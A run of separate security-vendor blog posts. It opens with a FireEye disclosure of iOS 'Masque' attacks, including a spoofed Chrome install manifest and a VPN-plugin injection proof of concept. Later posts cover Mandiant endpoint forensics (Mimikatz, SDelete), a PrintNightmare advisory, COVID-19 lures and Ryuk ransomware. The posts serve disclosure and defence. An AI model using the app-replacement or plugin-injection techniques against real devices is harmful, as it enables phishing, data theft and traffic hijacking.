Name Consequences disclosed till now Mitigation status App Masque * Replace an existing app * Harvest sensitive data Fixed in iOS 8.1.3 [6] URL Masque * Bypass prompt of trust
* Hijack inter-app communication Partially fixed in iOS
8.1.3 [11] Manifest Masque * Demolish other apps (incl.
Apple Watch, Health, Pay, etc.)
during over-the-air installations Partially fixed in iOS 8.4 Plugin Masque * Bypass prompt of trust * Bypass VPN plugin entitlement * Replace an existing VPN plugin * Hijack device traffic * Prevent device from rebooting * Exploit more kernel vulnerabilities Fixed in iOS 8.1.3 Extension Masque * Access another app’s data * Or prevent another app to access its own data Partially fixed in iOS 8.4 Manifest Masque Attack leverages the CVE-2015-3722/3725 vulnerability to demolish an existing app on iOS when a victim installs an in-house iOS app wirelessly using enterprise provisioning from a website.
The demolished app (the attack target) can be either a regular app downloaded from official App Store or even an important system app, such as Apple Watch, Apple Pay, App Store, Safari, Settings, etc.
This vulnerability affects all iOS 7.x
and iOS 8.x versions prior to iOS 8.4.
We first notified Apple of this vulnerability in August 2014.
Extension Masque Attack can break the restrictions of app data container.
A malicious app extension installed along with an in-house app on iOS 8 can either gain full access to a targeted app’s data container or prevent the targeted app from accessing its own data container.
On June 14, security researchers Luyi, Xiaofeng et al.
disclosed several severe issues on OS X, including a similar issue with this one [5].
They did remarkable research, but happened to miss this on iOS.
Their report claimed: “this security risk is not present on iOS ”.
However, the data container issue does affect all iOS 8.x versions prior to iOS 8.4, and can be leveraged by an attacker to steal all data in a target app’s data container.
We independently discovered this vulnerability on iOS and notified Apple before the report [5] was published, and Apple fixed this issue as part of CVE-2015-3725.
In addition to these two vulnerabilities patched on iOS 8.4, we also disclose the detail of another untrusted code injection attack by replacing the VPN Plugin, the Plugin Masque Attack.
We reported this vulnerability to Apple in Nov 2014, and Apple fixed the vulnerability on iOS 8.1.3 when Apple patched the original Masque Attack (App Masque)
[6, 11].
However, this exploit is even more severe than the original Masque Attack.
The malicious code can be injected to the neagent process and can perform privileged operations, such as monitoring all VPN traffic, without the user’s awareness.
We first demonstrated this attack in the Jailbreak Security Summit [7] in April 2015.
Here we categorize this attack as Plugin Masque Attack.
We will discuss the technical details and demonstrate these three kinds of Masque Attacks.
Manifest Masque: Putting On the New, Taking Off the Old To distribute an in-house iOS app with enterprise provisioning wirelessly, one has to publish a web page containing a hyperlink that redirects to a XML manifest file hosted on an https server [1].
The XML manifest file contains metadata of the in-house app, including its bundle identifier, bundle version and the download URL of the .ipa file, as shown in Table 1.
When installing the in-house iOS app wirelessly, iOS downloads this manifest file first and parse the metadata for the installation process.
<a href=\"itms-services://?action=downloadmanifest&url=
https://example.com/manifest.
plist\">Install
App</a> <plist> <array> <dict> ...
<key>url</key> <string>
https://XXXXX.com/another_browser.ipa</string> ... <key>bundle-identifier</key> <string
>com.google.chrome.ios</string> … <key>bundle-version</key> <string>1000.0</string> </dict>
<dict> … Entries For Another App </dict> <array> </plist
> Table 1.
An example of the hyperlink and the manifest file According to Apple’s official document [1], the bundle-identifier field should be “Your app’s bundle identifier, exactly as specified in your Xcode project”.
However, we have discovered that iOS doesn’t verify the consistency between the bundle identifier in the XML manifest file on the website and the bundle identifier within the app itself.
If the XML manifest file on the website has a bundle identifier equivalent to that of another genuine app on the device, and the bundle-version in the manifest is higher than the genuine app’s version, the genuine app will be demolished down to a dummy placeholder, whereas the in-house app will still be installed using its built-in bundle id.
The dummy placeholder will disappear after the victim restarts the device.
Also, as shown in Table 1, a manifest file can contain different apps’ metadata entries to distribute multiple apps at a time, which means this vulnerability can cause multiple apps being demolished with just one click by the victim.
By leveraging this vulnerability, one app developer can install his/her own app and demolish other apps (e.g.
a competitor’s app) at the same time.
In this way, attackers can perform DoS attacks or phishing attacks on iOS.
Figure 1.
Phishing Attack by installing “malicious Chrome” and demolishing the genuine one Figure 1 shows an example of the phishing attack.
When the user clicks a URL in the Gmail app, this URL is rewritten with the “googlechrome-x-callback://” scheme and supposed to be handled by Chrome on the device.
However, an attacker can leverage the Manifest Masque vulnerability to demolish the genuine Chrome and install “malicious Chrome” registering the same scheme.
Other than requiring the same bundle identifier to replace a genuine app in the original Masque Attack [xx], the malicious chrome in this phishing attack uses a different bundle identifier to bypass the installer’s bundle identifier validation.
Later, when the victim clicks a URL in the Gmail app, the malicious Chrome can take over the rewritten URL scheme and perform more sophisticated attacks.
What’s worse, an attacker can also exploit this vulnerability to demolish all system apps (e.g.
Apple Watch, Apple Pay UIService, App Store, Safari, Health, InCallService, Settings, etc.
).
Once demolished, these system apps will no longer be available to the victim, even if the victim restarts the device.
Here we demonstrate this DoS attack on iOS 8.3 to demolish all the system apps and one App Store app (i.e.
Gmail) when the victim clicks only once to install an in-house app wirelessly.
Note that after rebooting the device, all the system apps still remain demolished while the App Store app would disappear since it has already been uninstalled.
Extension Masque: Breaking The Data Container Apple introduces the app extension feature [2] on iOS 8.
Different\ntypes of the app extension provide various new ways for the developer\nto extend the app’s functionality on iOS 8.
For example, the app can\nappear as a widget on the Today screen, add new buttons in the Action\nsheet, offer photo filters within the iOS
Photos app, or display a new\nsystem-wide custom keyboard [3].
In addition, the watch extension [4]\non iPhone delegates all logic of a watch app on iOS 8.2/8.3 after the\nrelease of Apple Watch.
An app extension can execute code and is\nrestricted to access data within its data container.
Extensions are\ndistributed as a part of the iOS app, which can be leveraged as\npotential new attack vectors by attackers.
We independently discovered that the extension within an iOS 8 app\ncould either gain full access to other apps’ data containers or\nprevent other apps from accessing their own data containers, as long\nas the extension uses the same bundle identifier as the target app.
An\nattacker can lure a victim to install an in-house app using enterprise\nprovisioning from a website and to enable the malicious extension of\nthe in-house app on his/her device.
The effect of such attack is related to the installation sequence of\nthe malicious extension and the target app.
Note that an extension\ncannot be installed standalone; it must be distributed as a part of an\napp.
So in the following content when we refer to installing an\nextension we mean installing an app carrying that extension.
If installed before the target app, the malicious\nextension can break the data container and gain full access to the\ntarget app's data container without users’ awareness, while the\ntarget app would work normally.
If the malicious extension\nis installed after the target app, the target app can no\nlonger access its own data container.
Thus the functionality of the\ntarget app will be seriously disturbed and the app will even crash\n(causing denial-of-service).
In this circumstance, if the victim\ntries to reinstall the target app, the target app would recover.
But\nthis falls into the prior case again -- the victim app is now\ninstalled after the malicious app, so the malicious extension\ncan gain full access to the target app's container.
Here is a demo for breaking the data container attack.
In this demo,\na malicious extension can access all the files within the Gmail app’s\ndata container and upload them to the attacker’s server.
Plugin Masque: Executing Untrusted Code with Privilege Apart of the iOS extension, the VPN plugin is another type of bundle\nin an .ipa file.
Compared to iOS extension that can be embedded in any\niOS 8 app without any special entitlement, both the VPN app and the\nVPN plugin need to be provisioned with the\n“com.apple.networking.vpn.configuration” entitlement to provide\nsystem-wide VPN service.
So far only in a few exclusive iOS developers\ncan distribute such VPN client (e.g.
Cisco Anyconnect, Junos Pulse,\nOpenVPN etc.)
on iOS.
After installation, the VPN plugin is loaded\nwithout any user interface by a privileged system process, neagent [8].
Figure 2 shows the directory structure of the Junos Pulse .ipa\nfile, the VPN plugin (SSLVPNJuniper.vpnplugin) locates in the Payload\ndirectory, along with the ordinary app (Junos Pulse.app) providing the\nuser interface to configure the VPN.
Figure 2.
Directory Layout of the Junos Pulse App We discovered that if an in-house app embeds a malicious VPN Plugin\nthat has the same bundle id as the legitimate VPN Plugin on the\nvictim’s iOS, the malicious VPN Plugin can be successfully installed\nand replace the legitimate one without any special entitlement\n(e.g.
“com.apple.networking.vpn.configuration”).
Later, when the\nvictim launches the ordinary VPN app to access the VPN service, the\nuntrusted code in the malicious VPN Plugin will be loaded by the neagent process and perform privileged operation, such as\nhijacking/monitoring all the VPN traffic.
Injecting code to the neagent process to escape the sandbox is also a critical\nexploit used in the PanGu 8 [8, 12] jailbreak tool.
By leveraging the\nVPN plugin vulnerability, it is possible to jailbreak an iOS device\nwith 8.1.2 or before over-the-air directly with other kernel\nexploits.
This vulnerability is related to CVE-2014-4493 and was\npatched in iOS 8.1.3.
We first disclose and demonstrate this attack in\nthe Jailbreak Security Summit [7] in April 2015.
This vulnerability is related to CVE-2014-4493 and was patched in\niOS 8.1.3.
We first disclosed and demonstrated this attack in the\nJailbreak Security Summit [7] in April 2015.
Here is a demo for the untrusted code execution attack.
In this\ndemo, the in-house app containing a malicious VPN plugin is installed\non victim’s device.
After the user configures VPN use the original\nJunos Pulse app, the PoC code of the malicious VPN plugin is loaded\nand executed by neagent .
while(1) { syslog(LOG_ERR, \"[+] =========
**
**** PoC DYLIB
LOADED\n*
***** =========
=
\"); sleep(3); } Table 2.
PoC code of the malicious VPN Plugin Note that successfully launching this attack doesn’t require the\nuser to touch/trust the in-house app.
Even if the user force\nuninstalling the VPN app being attacked, the app will come back again\nafter reboot.
That means the user can't uninstall the app easily.
Even\nif the user tries to power off the phone by long-pressing the power\nbutton, the neagent daemon running attacker's code will be keep\nrunning in the background and stops the device from a real reboot.
The\nphone screen will be totally black and looks like the device is\nrebooting, however, neagent can keep running with the\nattacker's code in the background.
iOS Update Gap in Enterprise Networks
The release of iOS 8.1.3 (where App Masque, URL Masque, and Plugin\nMasque issues were fixed or partially fixed) was in January 2015, and\niOS is well known for its fast adoption of new versions.
However, our\nrecent monitoring of iOS web traffic in several high-profile networks\nshows surprising results.
As shown in Figure 3, nearly one third of\nthe iOS traffic that we monitored is still from devices with versions\nbelow 8.1.3 even 5 months after its release.
The devices behind that\ntraffic are still vulnerable to all the Masque Attacks, including the\nApp Masque, URL Masque, and Plugin Masque.
We urge everyone,\nespecially enterprise users, to keep up with the latest iOS updates.
Figure 3.
iOS version ratios based on network traffic monitored by FireEye Conclusions To summarize, although Apple has fixed or partially fixed the\noriginal Masque Attack [6, 11] on iOS 8.1.3, there are still other\nattack surfaces to exploit vulnerabilities in the installation process\non iOS.
We disclose the details of three variants of Masque Attack in\nthis article to help users realize the risk and better protect\nthemselves.
Moreover, around one third of iOS devices that we\nmonitored are still vulnerable to all the Masque Attacks because they\nhave not been upgraded.
We suggest that all iOS users keep their\ndevices up-to-date.
[2] https://developer.apple.com/app-extensions/ [3] https://developer.apple.com/library/prerelease/ios/documentation/General/Conceptual/ExtensibilityPG/NotificationCenter.html [4] https://developer.apple.com/library/ios/documentation/General/Conceptual/WatchKitProgrammingGuide/DesigningaWatchKitApp.html [5] https://drive.google.com/file/d/0BxxXk1d3yyuZOFlsdkNMSGswSGs/view [6] https://www.fireeye.com/blog/threat-research/2014/11/masque-attack-all-your-ios-apps-belong-to-us.html [7] http://thecyberwire.com/events/docs/nsmail.pdf [8] https://cansecwest.com/slides/2015/CanSecWest2015_Final.pdf
[9] https://itunes.apple.com/us/app/cisco-anyconnect/id392790924?mt=8 [11] https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html [12]
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The term \"critical infrastructure\" has earned its spot on the board of our ongoing game of cyber bingo--right next to \"Digital Pearl Harbor,\" \"Cyber 9/11,\" \"SCADA\" and \"Stuxnet.\" With \"critical infrastructure\" thrown about in references to cyber threats nearly every week, we thought it was time for a closer look at just what the term means-and what it means to other cyber threat actors.
The term \" critical infrastructure \" conjures up images of highways, electrical grids, pipelines, government facilities and utilities.
But the U.S. government definition also includes economic security and public health.
The Department of Homeland Security defines critical infrastructure as \"Systems and assets, whether physical or virtual, so vital to the United States that the incapacity or destruction of such systems and assets would have a debilitating impact on security, national economic security, national public health or safety, or any combination of those matters.\" [1] Certainly the U.S. definition is expansive, but some key cyber actors go a step further to include a more abstract \"information \" asset.
Russian officials view information content, flow and influencers as an enormous component of critical infrastructure.
Iran and China similarly privilege the security of their information assets in order to protect their governments.
The bottom line?
U.S. companies, who may have never considered themselves a plausible target for cyber threats, could become victims of offensive or defensive state cyber operations.
Earlier this year several media outlets-including the New York Times and Washington Post-disclosed that they had been the victims of China-based intrusions.
The Times and the Post linked the intrusions on their networks to their reporting on corruption in the upper echelons of the Chinese Communist Party and other issues.
These media outlets weren't sitting on plans for a new fighter jet or cutting edge wind turbines-information often assumed to be at risk for data theft.
Rather, the reporters at the Times and Post were perched in key positions to influence U.S. government and public views of the Chinese leadership, possibly in a negative light.
The Chinese government had conducted these intrusions against what it deemed critical infrastructure that supported the flow of valuable information.
Who's up next?
State actors motivated to target critical infrastructure (by their own definition or the U.S.') won't just be the usual attention grabbers in cyberspace.
We estimate that Iran, Syria, and North Korea all have interest and would be able to conduct or direct some level of network operations.
These states are also likely to conduct operations in the near term to identify red lines and gauge corporate and government reactions.
With little reputational loss at stake, we expect actors sponsored by or associated with these states to target an array of critical infrastructure targets.
Companies who serve as key information brokers-for the public or the U.S. government-should be particularly attuned to the criticality their work is assigned by a variety of cyber threat actors.
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To understand what a threat actor did on a Windows system, analysts often turn to the tried and true sources of historical endpoint artifacts such as the Master File Table (MFT), registry hives, and Application Compatibility Cache (AppCompat).
However, these evidence sources were not designed with detection or incident response in mind; crucial details may be omitted or cleared through anti-forensic methods.
By looking at historical evidence alone, an analyst may not see the full story.
Real-time events can be thought of as forensic artifacts specifically designed for detection and incident response, implemented through Enterprise Detection and Response (EDR) solutions or enhanced logging implementations like Sysmon .
During active-attacker endpoint investigations, FireEye Mandiant has found real-time events to be useful in filling in the gaps of what an attacker did.
These events record different types of system activities such as process execution, file write activity, network connections, and more.
During incident response engagements, Mandiant uses FireEye Endpoint Security to track endpoint system events in real-time.
This feature allows investigators to track an attacker on any system by alerting on and reviewing these real-time events.
An analyst can use our solution’s built-in Audit Viewer or Redline to review real-time events.
Let’s look at some examples of Windows real-time events available on our solution and how they can be leveraged during an investigation.
Let’s assume the account TEST-DOMAIN\\BackupAdmin was an inactive Administrator account compromised by an attacker.
Please note the examples provided in this post are based on real-time events observed during engagements but have been recreated or altered to preserve client confidentiality.
Process Execution Events There are many historical process execution artifacts including AppCompat , AmCache , WMI CCM_RecentlyUsedApps , and more .
A single artifact rarely covers all the useful details relating to a process's execution, but real-time process execution events change that.
Our solution’s real-time process execution events record execution time, full process path, process identification number (PID), parent process path, parent PID, user, command line arguments, and even the process MD5 hash.
Table 1 provides an example of a real-time process execution event recorded by our solution.
Field Example Timestamp (UTC) 2020-03-10 16:40:58.235 Sequence Number 2879512 PID 9392 Process Path C:\\Windows\\Temp\\legitservice.exe Username TEST-DOMAIN\\BackupAdmin Parent PID 9103 Parent Process Path C:\\Windows\\System32\\cmd.exe EventType Start ProcessCmdLine \"C:\\Windows\\Temp\\legitservice.exe\"  -b
-m Process MD5 Hash
a823bc31395539816e8e4664e884550f Table 1:
Example real-time process execution event Based on this real-time process execution event, the process C:\\Windows\\System32\\cmd.exe with PID 9103 executed the file C:\\Windows\\Temp\\legitservice.exe with PID 9392 and the MD5 hash a823bc31395539816e8e4664e884550f .
This new process used the command line arguments -b
-m under the user context of TEST-DOMAIN\\BackupAdmin .
We can compare this real-time event with what an analyst might see in other process execution artifacts.
Table 2 provides an example AppCompat entry for the same executed process.
Note the recorded timestamp is for the last modified time of the file, not the process start time.
Field Example File Last Modified (UTC) 2020-03-07 23:48:09 File Path C:\\Windows\\Temp\\legitservice.exe Executed Flag TRUE Table 2: Example AppCompat entry Table 3 provides an example AmCache entry.
Note the last modified time of the registry key can usually be used to determine the process start time and this artifact includes the SHA1 hash of the file.
Field Example Registry Key Last Modified (UTC) 2020-03-10 16:40:58 File Path C:\\Windows\\Temp\\legitservice.exe File Sha1
Hash 2b2e04ab822ef34969b7d04642bae47385be425c Table 3:
Example AmCache entry Table 4 provides an example Windows Event Log process creation event.
Note this artifact includes the PID in hexadecimal notation, details about the parent process, and even a field for where the process command line arguments should be.
In this example the command line arguments are not present because they are disabled by default and Mandiant rarely sees this policy enabled by clients on investigations.
Field Example Write Time (UTC) 2020-03-10 16:40:58 Log Security Source Microsoft Windows security EID 4688
Message A new process has been created.
Creator Subject: Security ID:             TEST-DOMAIN\\BackupAdmin Account Name:            BackupAdmin Account Domain:          TEST-DOMAIN Logon ID:                0x6D6AD Target Subject: Security ID:             NULL SID Account
Name:            - Account Domain:          - Logon ID:                0x0
Process
Information: New Process ID:          0x24b0 New Process Name:        C:\\Windows\\Temp\\legitservice.exe Token Elevation Type:    %%1938
Mandatory Label:         Mandatory Label\\Medium Mandatory Level Creator Process ID:
0x238f
Creator Process Name:    C:\\Windows\\System32\\cmd.exe Process Command Line: Table 4:
Example Windows event log process creation event If we combine the evidence available in AmCache with a fully detailed Windows Event Log process creation event, we could match the evidence available in the real-time event except for a small difference in file hash types.
File Write Events An attacker may choose to modify or delete important evidence.
If an attacker uses a file shredding tool like Sysinternal’s SDelete, it is unlikely the analyst will recover the original contents of the file.
Our solution’s real-time file write events are incredibly useful in situations like this because they record the MD5 hash of the files written and partial contents of the file.
File write events also record which process created or modified the file in question.
Table 5 provides an example of a real-time file write event recorded by our solution.
Field Example Timestamp (UTC) 2020-03-10 16:42:59.956
Sequence Number 2884312 PID 9392 Process Path C:\\Windows\\Temp\\legitservice.exe Username TEST-DOMAIN\\BackupAdmin Device Path \\Device\\HarddiskVolume2 File Path C:\\Windows\\Temp\\WindowsServiceNT.log File MD5 Hash 30a82a8a864b6407baf9955822ded8f9 Num Bytes Seen Written 8 Size 658 Writes 4 Event reason File closed Closed TRUE Base64 Encoded Data At Lowest Offset Q3JlYXRpbmcgJ1dpbmRvd3NTZXJ2aWNlTlQubG9nJy Bsb2dmaWxlIDogT0sNCm1pbWlrYXR6KGNvbW1hbmQ Text
At Lowest Offset Creating 'WindowsServiceNT.log' logfile : OK....
mimikatz(command Table 5:
Example real-time file write event Based on this real-time file write event, the malicious executable C:\\Windows\\Temp\\legitservice.exe wrote the file C:\\Windows\\Temp\\WindowsServiceNT.log to disk with the MD5 hash 30a82a8a864b6407baf9955822ded8f9 .
Since the real-time event recorded the beginning of the written file, we can determine the file likely contained Mimikatz credential harvester output which Mandiant has observed commonly starts with OK....mimikatz .
If we investigate a little later, we’ll see a process creation event for C:\\Windows\\Temp\\taskassist.exe with the MD5 file hash 2b5cb081721b8ba454713119be062491 followed by several file write events for this process summarized in Table 6.
Timestamp File Path File Size 2020-03-10 16:53:42.351 C:\\Windows\\Temp\\WindowsServiceNT.log 638 2020-03-10 16:53:42.351 C:\\Windows\\Temp\\AAAAAAAAAAAAAAAA.AAA 638 2020-03-10 16:53:42.351 C:\\Windows\\Temp\\BBBBBBBBBBBBBBBB.BBB 638 2020-03-10 16:53:42.351 C:\\Windows\\Temp\\CCCCCCCCCCCCCCCC.CCC 638 … 2020-03-10 16:53:42.382 C:\\Windows\\Temp\\XXXXXXXXXXXXXXXX.XXX 638 2020-03-10 16:53:42.382 C:\\Windows\\Temp\\YYYYYYYYYYYYYYYY.YYY 638 2020-03-10 16:53:42.382 C:\\Windows\\Temp\\ZZZZZZZZZZZZZZZZ.ZZZ 638 Table 6:
Example timeline of SDelete File write events Admittedly, this activity may seem strange at a first glance.
If we do some research on the its file hash, we’ll see the process is actually SDelete masquerading as C:\\Windows\\Temp\\taskassist.exe .
As part of its secure deletion process, SDelete renames the file 26 times in a successive alphabetic manner.
Network Events Incident responders rarely see evidence of network communication from historical evidence on an endpoint without enhanced logging.
Usually, Mandiant relies on NetFlow data, network sensors with full or partial packet capture, or malware analysis to determine the command and control (C2) servers with which a malware sample can communicate.
Our solution’s real-time network events record both local and remote network ports, the leveraged protocol, and the relevant process.
Table 7 provides an example of a real-time IPv4 network event recorded by our solution.
Field Example Timestamp (UTC) 2020-03-10 16:46:51.690 Sequence Number 2895588 PID 9392 Process + Path C:\\Windows\\Temp\\legitservice.exe Username TEST-DOMAIN\\BackupAdmin Local IP Address 10.0.0.52
Local Port 57472 Remote IP Address 10.0.0.51 Remote Port 443 Protocol TCP Table 7:
Example real-time network connection event Based on this real-time IPv4 network event, the malicious executable C:\\Windows\\Temp\\legitservice.exe made an outbound TCP connection to 10.0.0.51:443 .
Registry Key Events By using historical evidence to investigate relevant timeframes and commonly abused registry keys, we can identify malicious or leveraged keys.
Real-time registry key events are useful for linking processes to the modified registry keys.
They can also show when an attacker deletes or renames a registry key.
This is useful to an analyst because the only available timestamp recorded in the registry is the last modified time of a registry key, and this timestamp is updated if a parent key is updated.
Table 8 provides an example of a real-time registry key event recorded by our solution.
Field Example Timestamp (UTC) 2020-03-10 16:46:56.409
Sequence Number 2898196 PID 9392 Process + Path C:\\Windows\\Temp\\legitservice.exe Username TEST-DOMAIN\\BackupAdmin Event Type 3 Path HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\ LegitWindowsService\\ImagePath
Key Path CurrentControlSet\\Services\\LegitWindowsService Original Path HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Services\\LegitWindowsService Value Name ImagePath
Value Type REG_EXPAND_SZ Base64 Encoded Value QwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABsAG
UAZwBpAHQAcwBlAHIAdgBpAGMAZQAuAGUAeABlAAAAAA== Text C:\\Windows\\Temp\\legitservice.exe Table 8: Example real-time registry key event For our solution's real-time registry events, we can map the event type to the operation performed using Table 9.
Event Type Value Operation 1 PreSetValueKey 2 PreDeleteValueKey 3 PostCreateKey, PostCreateKeyEx, PreCreateKeyEx 4 PreDeleteKey 5 PreRenameKey Table 9:
FireEye Endpoint Security real-time registry key event types Based on this real-time registry key event, the malicious executable C:\\Windows\\Temp\\legitservice.exe created the Windows service LegitWindowsService .
If we investigated the surrounding registry keys, we might identify even more information about this malicious service.
Conclusion The availability of real-time events designed for forensic analysis can fill in gaps that traditional forensic artifacts cannot on their own.
Mandiant has seen great value in using real-time events during active-attacker investigations.
We have used real-time events to determine the functionality of attacker utilities that were no longer present on disk, to determine users and source network addresses used during malicious remote desktop activity when expected corresponding event logs were missing, and more.
Check out our FireEye Endpoint Security page and Redline page for more information (as well as Redline on the FireEye Market ), and take a FireEye Endpoint Security tour today.
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Every day at Mandiant we respond to some of the largest cyber security incidents around the world.
This gives us a front-row seat to witness what works (and what doesn't) when it comes to finding attackers and preventing them from stealing our clients' data.
Attackers' tactics and motives are evolving and as a result our security strategies also need to adapt.
Today, we announced two new service offerings that will further help our clients improve their protective, detective, and responsive security controls and leverage Mandiant's extensive experience responding to some of the most serious cyber security incidents.
Our first new service offering addresses attackers' expanding motives.
We are starting to see attackers with destructive motives and what could be more damaging than attacking a nation's critical infrastructure.
Security incidents at critical infrastructure such as electric power grids, utilities and manufacturing companies can affect the lives of hundreds of thousands of people.
Our new Industrial Control Systems (ICS) Security Gap Assessment is specifically focused on helping these industries - and others that use SCADA systems - to assess their existing security processes for industrial control systems.
The service helps identify security GAPs and provides specific recommendations to close those GAPs and safeguard critical infrastructure.
Our second new service offering is designed to help organizations address the challenges they face as they build out their own internal security operations program and incident response teams.
Many organizations want to enhance their internal capabilities beyond the traditional security operations centers (SOCs).
Our new Cyber Defense Center Development service helps organizations evolve their internal SOC by improving the visibility (monitoring and detection) and response capabilities (incident response) necessary to defend against advanced threats.
This service looks at existing people, process, and technologies and identifies areas for improvement.
It helps companies to identify and prioritize the alerts that require the most immediate action with the goal to reduce the mean time to remediation.
If either of these new services sound like something that could help your organization let us know .
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FortiGuard Labs Breaking Update A potentially new zero-day Microsoft vulnerability, dubbed \"PrintNightmare,\" makes it possible for any authenticated attacker to remotely execute code with SYSTEM privileges on any machine that has the Windows Print Spooler service enabled (which is the default setting).
Security researchers initially believed this vulnerability to be tied to CVE-2021-1675 (Windows Print Spooler Remote Code Execution Vulnerability), which was first disclosed in the June 8, 2021, Microsoft Patch Tuesday release.
But there is now some question about whether this is the same issue or a new zero-day vulnerability.
Last week, researchers at Chinese security firm QiAnXin technology published a video of a working proof-of-concept exploit of CVE-2021-1675 that highlighted how the vulnerability could be exploited both locally and remotely.
After their proof-of-concept was disclosed, QiAnXin noticed, on June 21 st , that Microsoft had changed the title of the vulnerability, which was initially identified as only being exploitable locally, to reflect this remote code execution aspect.
They also changed the vulnerability status from its original designation (high severity, privilege escalation) to critical severity, remote code execution.
Adding to the confusion, Microsoft's current (as of this post) write-up for CVE-2021-1675 still states that it is a local vulnerability.
Compounding the risk to organizations further, threat researchers at Sangfor Security, working independently and in parallel with QiAnXin, had developed their own working proof-of-concept code, which they posted to Github this past Tuesday (June 29th).
While this detailed proof-of-concept has since been taken down, multiple cached copies still exist.
It can be reasonably expected that bad actors will potentially leverage this information for future attacks.
Microsoft has not yet provided any official statement to confirm whether this is a variation of the CVE-2021-1675 vulnerability or a new vulnerability altogether.
But according to Bleeping Computer , PrintNightmare is not the same as CVE-2021-1675 but a new Windows Print Spooler zero-day vulnerability.
This position is supported by reports from multiple threat researchers who have confirmed that they have achieved remote code execution with SYSTEM privileges on a fully patched system.
Security researchers will continue to investigate.
But regardless of the outcome of that investigation, neither a new nor an updated patch is currently available for this vulnerability.
And proof-of-concept code now in the wild is able to exploit Windows Print Spoolers even after systems have been fully patched.
As a result, administrators are strongly advised to stop and disable their spooler service, especially on domain controller systems.
Vulnerable Systems
It is unknown what versions of Windows are affected by this vulnerability.
However, Benjamin Delpy's (creator of MimiKatz) research confirms that the latest Windows update of June 8, 2021-KB5003646 (OS Build 17763.1999) for Windows 10 is susceptible to this vulnerability.
Fortinet Protections The FortiGuard Labs IPS team has coverage in place for this vulnerability and known proof-of-concept code as: MS.Windows.
Print.
Spooler.
AddPrinterDriver.
Privilege.
Escalation.
NOTE:
The FortiGuard Labs IPS team was maintaining this signature under the CVE-2021-1675 designation.
With the publication of the Microsoft advisory issued earlier (please see Update as of July 2 nd below), the FortiGuard Labs IPS team is now maintaining this signature under the new CVE-2021-34527 designation created by Microsoft.
FortiEDR provides protection by blocking the load process of malicious DLLs that stem from the exploitation of the PrintNightmare vulnerability.
FortiEDR will also block subsequent malicious activity taken by the payload post-execution.
FortiEDR's threat hunting enhancement will also provide visibility into exploitation attempts and subsequent operations.
For more information, the FortiGuard Threat Signal report for this vulnerability includes additional details, including a complete list of systems affected by CVE-2021-1675 for reference due to the possibility of cross-pollination.
FortiGuard Labs continues to monitor this situation closely for any newly published proof-of-concept code for this vulnerability, as well as for any threats related to CVE-2021-1675 if applicable.
Updates will be posted to the Threat Signal report.
Update as of July 2, 2021: Microsoft has published an advisory on the Windows Print Spooler remote code execution vulnerability.
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527 Microsoft has assigned CVE-2021-34527 to this issue and has confirmed exploitation in the wild.
The advisory contains information for determining if the Print Spooler service is running, and provides mitigation steps as a workaround.
FortiGuard Labs will continue to monitor the situation and provide updates as the situation warrants.
Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .Learn
more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
By Christiaan Beek and Raj Samani on Apr 07, 2020 Although the use of global events as a vehicle to drive digital crime is hardly surprising, the current outbreak of COVID-19 has revealed a multitude of vectors, including one in particular that is somewhat out of the ordinary.
In a sea of offers for face masks, a recent posting on a dark web forum reveals the sale of blood from an individual claiming to have recovered from Coronavirus .
What are we doing?
Putting our customers at the core is what McAfee does.
Daily updates are provided to products across the McAfee portfolio, with vetted information to secure your valuable assets in company or working from home.
The volume of threats related to COVID-19 has been significant, with lures used in all manner of attacks.
Tracking these campaigns reveals the most targeted sector is healthcare, followed by finance, and then education.
Mobile Threats In March 2020 alone, McAfee Labs identified several malicious Android applications abusing keywords connected to the pandemic.
The apps range from ransomware samples to spy-agents that spy on the victim’s device.
For example, statically analyzing an app called “Corona Safety Mask,” we observe that the amount of permissions is suspicious: Full Internet access that allows the app to create network sockets Read contact data from the victim’s device Send SMS messages When the user downloads the app, it can order a facemask from the following site: “ coronasafetymask.tk.
”
The SMS send permission is abused to send the scam to the victim’s contact list.
Although attribution will clearly be a key concern it is not the primary focus of our research, however there appears to be APT groups incorporating  the COVID-19 theme into their campaigns.
For example, spreading documents that talk about the pandemic and are weaponized with malicious macro-code to download malware to the victim’s system.
Underground Marketplaces and scams We have seen many examples of major events being abused by people whose interest is only financial gain and current global events are no exception.
We conducted a short survey on some underground markets and Telegram channels offering protective masks and more.
Two examples are shown below: Onion-site offering masks Telegram channel with multiple sellers of masks The use of COVID-19 as a lure does not appear to show any sign of slowing down, indeed there are more campaigns being regularly identified using the global concern for selfish gain.
Our focus will be to ensure detection remains up to date, and data points relevant for investigation are shared with authorities.
In the meantime, we will continue to disseminate relevant threat information.
To be kept up-to-date as we publish more content,  stay connected to the McAfee Labs Twitter feed .
Finally, while COVID-19 related threats are on the rise, from phishing emails name-dropping the disease to malware named after popular video conferencing services, cybercrime in all aspects continues, and we must remain vigilant to other, traditional threats as well.
For example, tips to secure the newly massive mobile workforce can be found here .
Please stay safe.
By John Fokker and Alexandre Mundo on Feb 19, 2019
In collaboration with Bill Siegel and Alex Holdtman from Coveware.
At the beginning of 2019, McAfee ATR published an article describing how the hasty attribution of Ryuk ransomware to North Korea was missing the point.
Since then, collective industry peers discovered additional technical details on Ryuk’s inner workings , the overlap between Ryuk and Hermes2.1, and a detailed description of how the ransomware is piggybacking the infamous and ever evolving Trickbot as a primary attack vector.
In this blog post we have teamed up with Coveware to take a closer look at the adversary and victim dynamics of Ryuk Ransomware.
We structured our research using the Diamond threat model and challenged our existing hypotheses with fresh insights.
Introduction to The Diamond Model Within Cyber Threat intelligence research, a popular approach is to model the characteristics of an attack using The Diamond Model of Intrusion Analysis .
This model relates four basic elements of an intrusion: adversary, capabilities, infrastructure and victim.
For the Ryuk case described above the model can be applied as follows: “An Adversary , cyber-criminal(s), have a capability (Ryuk Ransomware) that is being spread via a TrickBot infection Infrastructure targeting specific victims .
Diamond model of Intrusion Analysis The Diamond Model offers a holistic view of an intrusion that is a helpful guideline to shape the direction of intelligence research.
